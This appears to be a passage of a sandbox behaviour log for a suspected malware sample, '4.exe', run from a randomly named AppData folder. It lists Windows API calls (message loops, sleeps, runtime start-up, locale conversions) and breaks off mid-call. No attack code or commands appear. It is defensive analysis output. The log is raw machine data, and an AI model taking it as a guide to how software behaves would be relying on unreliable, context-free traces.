TranslateMessage (lpMsg=0x18e548) returned 0 [0063.764] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.764] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.764] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.764] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.764] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.765] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.811] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.811] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.811] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.811] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.811] TranslateAcceleratorW (hWnd=0x301c0, hAccTable=0x301c7, lpMsg=0x18e548) returned 0 [0063.811] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.811] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.812] GetMessageW (lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0063.853] NtdllDefWindowProc_W () returned 0x1 [0063.853] NtdllDefWindowProc_W () returned 0x1 [0063.853] NtdllDefWindowProc_W () returned 0x0 [0063.854] NtdllDefWindowProc_W () returned 0x0 [0063.854] NtdllDefWindowProc_W () returned 0x0 [0063.854] NtdllDefWindowProc_W () returned 0x1 [0063.855] NtdllDefWindowProc_W () returned 0x0 [0063.855] NtdllDefWindowProc_W () returned 0x0 [0063.855] NtdllDefWindowProc_W () returned 0x0 [0063.855] NtdllDefWindowProc_W () returned 0x0 [0063.856] NtdllDefWindowProc_W () returned 0x2 [0063.856] NtdllDefWindowProc_W () returned 0x0 Thread: id = 57 os_tid = 0xb00 [0055.294] timeGetTime () returned 0x1147224 [0055.294] timeGetTime () returned 0x1147224 [0055.294] Sleep (dwMilliseconds=0x3e8) [0056.667] timeGetTime () returned 0x114761a [0056.667] timeGetTime () returned 0x114761a [0056.668] Sleep (dwMilliseconds=0x3e8) [0057.774] timeGetTime () returned 0x1147a10 [0057.774] timeGetTime () returned 0x1147a10 [0057.774] Sleep (dwMilliseconds=0x3e8) [0059.022] timeGetTime () returned 0x1147e06 [0059.022] timeGetTime () returned 0x1147e06 [0059.022] Sleep (dwMilliseconds=0x3e8) [0060.036] timeGetTime () returned 0x11481fc [0060.036] timeGetTime () returned 0x11481fc [0060.036] Sleep (dwMilliseconds=0x3e8) [0061.065] timeGetTime () returned 0x11485f2 [0061.065] timeGetTime () returned 0x11485f2 [0061.065] Sleep (dwMilliseconds=0x3e8) [0063.593] timeGetTime () returned 0x1148a46 [0063.593] timeGetTime () returned 0x1148a46 [0063.593] Sleep (dwMilliseconds=0x3e8) Process: id = "9" image_name = "4.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe" page_root = "0xb83000" os_pid = "0xae8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa68" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 53 os_tid = 0xaec [0054.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x8e5cf6e0, dwHighDateTime=0x1d56c59)) [0054.394] GetCurrentThreadId () returned 0xaec [0054.394] GetCurrentProcessId () returned 0xae8 [0054.394] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=17464624912) returned 1 [0054.394] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0054.395] GetProcessHeap () returned 0x4ee0000 [0054.396] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0054.396] GetProcAddress (hModule=0x76c20000, lpProcName=0x414dd4) returned 0x76c34f2b [0054.396] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0054.396] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.396] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.396] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0054.396] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0054.397] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName=0x414ff8) returned 0x76cb47c1 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0054.398] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0054.399] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x3bc) returned 0x4ef1e98 [0054.399] GetCurrentThreadId () returned 0xaec [0054.399] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x0, Size=0x18) returned 0x4ef0930 [0054.399] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x8, Size=0x800) returned 0x4ef2260 [0054.399] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4088f2, hStdOutput=0x9f709d15, hStdError=0x0)) [0054.399] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.399] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.399] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.399] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe\" " [0054.400] GetEnvironmentStringsW () returned 0x4ef2a68* [0054.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0054.400] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x0, Size=0x565) returned 0x4ef3540 [0054.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x4ef3540, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0054.400] FreeEnvironmentStringsW (penv=0x4ef2a68) returned 1 [0054.400] GetLastError () returned 0x7f [0054.400] SetLastError (dwErrCode=0x7f) [0054.400] GetLastError () returned 0x7f [0054.400] SetLastError (dwErrCode=0x7f) [0054.400] GetLastError () returned 0x7f [0054.400] SetLastError (dwErrCode=0x7f) [0054.400] GetACP () returned 0x4e4 [0054.400] RtlAllocateHeap (HeapHandle=0x4ee0000, Flags=0x0, Size=0x220) returned 0x4ef3ab0 [0054.400] GetLastError () returned 0x7f [0054.400] SetLastError (dwErrCode=0x7f) [0054.400] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.400] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0054.400] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0054.400] GetLastError () returned 0x7f [0054.400] SetLastError (dwErrCode=0x7f) [0054.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.401] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0054.401] GetLastError () returned 0x7f [0054.401] SetLastError (dwErrCode=0x7f) [0054.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.401] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0054.401] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0054.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x95\x9cp\x9fôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0054.401] GetLastError () returned 0x7f [0054.401] SetLastError (dwErrCode=0x7f) [0054.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.401] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0054.401] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0054.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x95\x9cp\x9fôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0054.401] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x437bc8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe" (normalized: 